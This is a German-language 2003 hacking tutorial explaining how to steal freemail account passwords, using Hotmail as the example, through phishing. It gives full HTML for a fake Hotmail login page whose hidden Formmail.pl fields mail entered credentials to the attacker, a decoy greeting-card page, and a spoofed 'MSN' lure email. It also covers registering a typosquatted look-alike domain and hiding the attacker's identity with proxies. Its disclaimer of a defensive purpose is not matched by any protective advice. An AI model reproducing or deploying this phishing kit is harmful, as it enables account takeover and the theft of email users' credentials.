Lord Doom's :

Wie hacke ich einen Freemail Anbieter ?

Zu dieser Datei: Dieses Dokument wurde als PDF Dokument hergestellt. Diese Datei kann frei vertrieben werden, dies unter der Voraussetzung, dass es sich um ein nicht kommerzielles Angebot handelt.

Ihr habt das Recht dieses Dokument auf jede nur mögliche Art weiterzugeben, solltet aber den Inhalt in keiner Weise verändern!

© Lord Doom 2003

Zur Information:

Diese Datei wurde nicht geschrieben, damit du irgendwelche Freemail Anbieter oder deren Benutzer hacken sollst. Dieses Dokument dient dazu, eine Vorgehensweise des Hackers zu erklären, damit **du!!!** dich vor einem solchem Angriff schützen kannst und nicht auf die hier beschriebene Hacking-Methode hereinfällst.
Solltest du es doch versuchen, so sollst du wissen, dass der Versuch strafbar ist und nur du alleine für alle Schäden haftbar sein wirst!!!

Was würde ein Hacker für einen solchen Hack benötigen?

Der Hacker bräuchte für nachfolgenden Angriff folgende Utensilien:

- Einen HTML Editor (gibt es kostenlos, resp. als Shareware)
- Einen anonymen Emailer (z.B. Anonymail, Ghostmail…)
- Einen Webhoster, der CGI/BIN unterstützt.
- Ein Mailingscript z.B. Formmail.pl

Optional:

- Einen Proxyprogramm um seine Identität zu verschleiern (z.B. JAP)
- Ein Open Relay Scanner (durchsucht das WWW nach Open Relays, die zum Senden von anonymen Emails gebraucht werden)
- Eine Kurz-URL

Ich werde hier nicht erklären,, wie ein Hacker die verschiedenen Programme zu benutzen hat, so fortgeschritten sollte jeder sein. Außerdem liegt in den meisten Fällen eine Readme-Datei bei. Man wird es kaum glauben, doch es ist nicht verboten sie zu lesen. (Sollte sie vielleicht sogar für diesen Zweck geschrieben worden sein???).

Der erste Schritt

Im folgendem Beispiel wird ein Angriff auf einen Hotmail Account durchgeführt. Diese Methode gilt aber auch für GMX, WEB.DE usw. …

Zuerst besucht der Hacker die Internetseite von Hotmail, unternimmt einen Login Versuch unter ererqwwrq@hotmail.com und gibt als Passwort MicrosoftistScheiße ein (oder sonst irgendeinen Müll). Im Normalfall wird er dann zu einer Seite geleitet, die ihm mitteilt, das die Kombination aus Benutzernamen und Passwort falsch wäre (o Wunder).
Nun lädt der Hacker sich das MSN und das Net.passport Logo runter, speichert es für dieses Beispiel unter den Namen: logo.bmp (MSN Logo) und netlogo.gif, das Logo von Net.passport. Kleiner Tipp: rechter Mausklick auf die Logos und dann Bild speichern unter… wählen.

Danach öffnet der Hacker seinen Webeditor und gibt folgenden HTML-Code ein:

```
<html>
<head>
<title>HOTMAIL Login Page</title>
</head>
<body>
<center><img alt="logo (28K)" src="logo.bmp" />
<br>
<p>
<strong>Please reenter your username and password to read your greeting card!</strong>
<br>
<br></center><br>
<center>
<b>Username: <input type="" name="" /><br>
<p>
Password: <input type="password" /></b>
<br>
<br>
<br>
<button type="submit">LOGIN</button><button type="reset">RESET</button><br>
<br>
<br>
<img alt="netlogo (1K)" align=right src="netlogo.gif" height="34" width="153" />

<input  type=hidden name="recipient" value="email@your.host.com">
<input type=hidden name="redirect "value="http://your.host.com/succes.html">

</body>
</html>
```

Der Hacker dürfte natürlich nicht vergessen email@your.host.com durch seine eigene Emailadresse zu ändern.
Auch sollte er your.host.com durch seine Webadresse ändern.
Anmerkung: Möglicherweise muss der HTML Code abgeändert werden, damit der Code funktioniert. Dies hängt allerdings auch von der Version von Formmail.pl ab. Also unbedingt die Readme Datei die dem Script beiliegt durchlesen!!!!

Diese HTML-Seite wird unter dem Namen index.html abgespeichert und sollte nun folgendermaßen aussehen:

Please reenter your username and password to read your greeting card!

Username:

Password:

LOGIN RESET

Nun bräuchte der Hacker noch eine Seite mit dem Titel succes.html. Dazu sucht er auch noch ein hübsches Foto, ich schlage für dieses Beispiel das Bild eines Hundes vor, dass unter dem Namen dog.bmp abgespeichert auf dem Harddisk liegt.

HTML Code wäre:

```
<html>
<head>
<title>Your greeting card</title>
</head>
<body>
<center><big><font size="5">HALLO<br><br></font>

<img alt="dog (213K)" src="dog.bmp" />
<br>
<font color = blue> Als ich ihn sah, da musste ich sofort an dich denken! <br>
Du kannst sagen was du willst, aber er ist doch süß!<br>
Das heißt, fast so süß wie du!</font>

</body>
</html>
```

Weiter geht's

Nun ist Formmail.pl (oder jedes andere Mailscript an der Reihe. Formmail liegt eine Readme-Datei bei, die der Hacker gelesen hat. Dadurch kann es sein, dass er den HTML-Code seiner Index-Seite abändern muss, damit der Script richtig läuft. (Sogar mehr als Wahrscheinlich)

Es gibt mehrere Versionen von Formmail, da es immer wieder Sicherheitslücken gab. So konnte man den Script dafür missbrauchen, Massenemails (Spam) zu versenden. Neuere Versionen sollten diesen Bug allerdings behoben haben.

Falls noch nicht geschehen, würde der Hacker nun sein Proxyprogramm anschalten um so seine Identität zu verschleiern. Natürlich sind Hacker sehr vorsichtige Leute und er würde die Internetseite www.privacy.net besuchen, um sicherzustellen, dass seine IP Nummer auch geändert hat.

Upload der Dateien

Es wird nun Zeit für den Hacker die Dateien auf den Webserver hochzuladen. Formmail.pl kommt, nachdem es angepasst wurde in das cgi-bin Verzeichnis. Sämtliche HTML-Seiten und Bilder kommen ins normale Webverzeichnis.
Zum Testen ruft der Hacker seine eigene Index-Seite auf, füllt die Form aus und schaut sich das Resultat an. Wurde alles korrekt gemacht, dann erhält er eine Email in der die Daten die er eingegeben hat, drinstehen. Außerdem bekommt er seine eigene Grußkarte zu sehen.
Sollte etwas schiefgegangen sein, dann liegt es entweder an der Index-Seite (HTML Code überprüfen) oder am Script.

Kurz URL registrieren

Im Internet befinden sich einige Anbieter, die es ermöglichen Kurz-Urls zu registrieren. Dies dient dazu, dass man eine einfachere URL hat, anstatt www.geofuckis.members.lists.hacker.web.index.html ist es möglich www.XSXSX.de.vu als URL zu erhalten. Der Hacker sucht sich nun einen solchen Anbieter und versucht eine URL zu registrieren, die eine einfache Abänderung des Namens hotmail ist (z.B. hotmoil.com, hotnnail.com, hatmail.com …).
Diese URL wird dann auf die eigentliche URL verwiesen. Für das Beispiel haben wir uns den Namen www.hotnnull.de.xy zugelegt.

Emails verschicken

Der Hacker schreibt nun eine Email mit folgendem Text:

```
<html>
<head>
<title>Willkommen beim Hotmail Grußkarten System</title>
</head>
<body>
<p><font color="#000080"><b><font size="5">Willkommen beim Hotmail Grußkarten System </font></b>
</font>   </p>
<hr>
<p>Sie haben eine virtuelle Grußkarte erhalten. Um Ihre Karte zu betrachten, klicken Sie bitte folgenden Link <a href="http://www.hotnnull.de.xy"> hier.
</a></p>
<p>
<center> Ihr MSN Team </center>
<hr>
</body>
</html>
```

Dann verschickt der Hacker diese Email mit seinem Emailprogramm an das Opfer. Wirksamer sind solche Attacken natürlich, wenn der Hacker das Opfer persönlich anspricht z.B. „Hallo Thomas“

Unnötig zu erwähnen, dass er dazu eine Absenderadresse à la „MSN Card Service“ oder so eingibt.

Was geschieht?

Ich nehme an, dass der Durchschnittliche Leser erkannt haben wird, was nun geschehen ist. Falls nicht, dann soll er sich die berechtigte Frage stellen, ob er beim Thema Hacken nicht irgendwie falsch gelandet ist.

Jedenfalls erhält das Opfer eine Email, die ihm weismacht, er hätte eine virtuelle Grußkarte erhalten. Will er seine Grußkarte betrachten, und die meisten wollen dies tun, wird er zu der falschen Login-Seite des Hackers weitergeleitet. Gutgläubig (was nebengesagt als Stück der Dummheit zählt) gibt er seine Account Daten an und bekommt dann das Bild des Hundes mit einem schönen Text zugesendet. Der Hacker ,für seinen teil erhält eine Email mit den Account Daten des Internetnutzers.

Den Rest kann sich nun jeder für seinen Teil selbst ausmalen, die Scripte erweitern oder abändern, HTML Codes verbessern etc.

Ansonsten:

Entrez, je suis pendu.
Tretet ein, ich habe mich erhängt!

Albert Camus – La Peste

Lord Doom, auch bekannt unter dem Namen Lord Doombringer ist einer der Hacker, der am Hackerbuch „Hacker INSIDE“ mitgeschrieben hat.

Das Buch befindet sich im exklusivem Vertrieb auf www.kiesmedia.com
Ein Muss für jeden der sich mit dem Thema Daten und Internetsicherheit befassen will.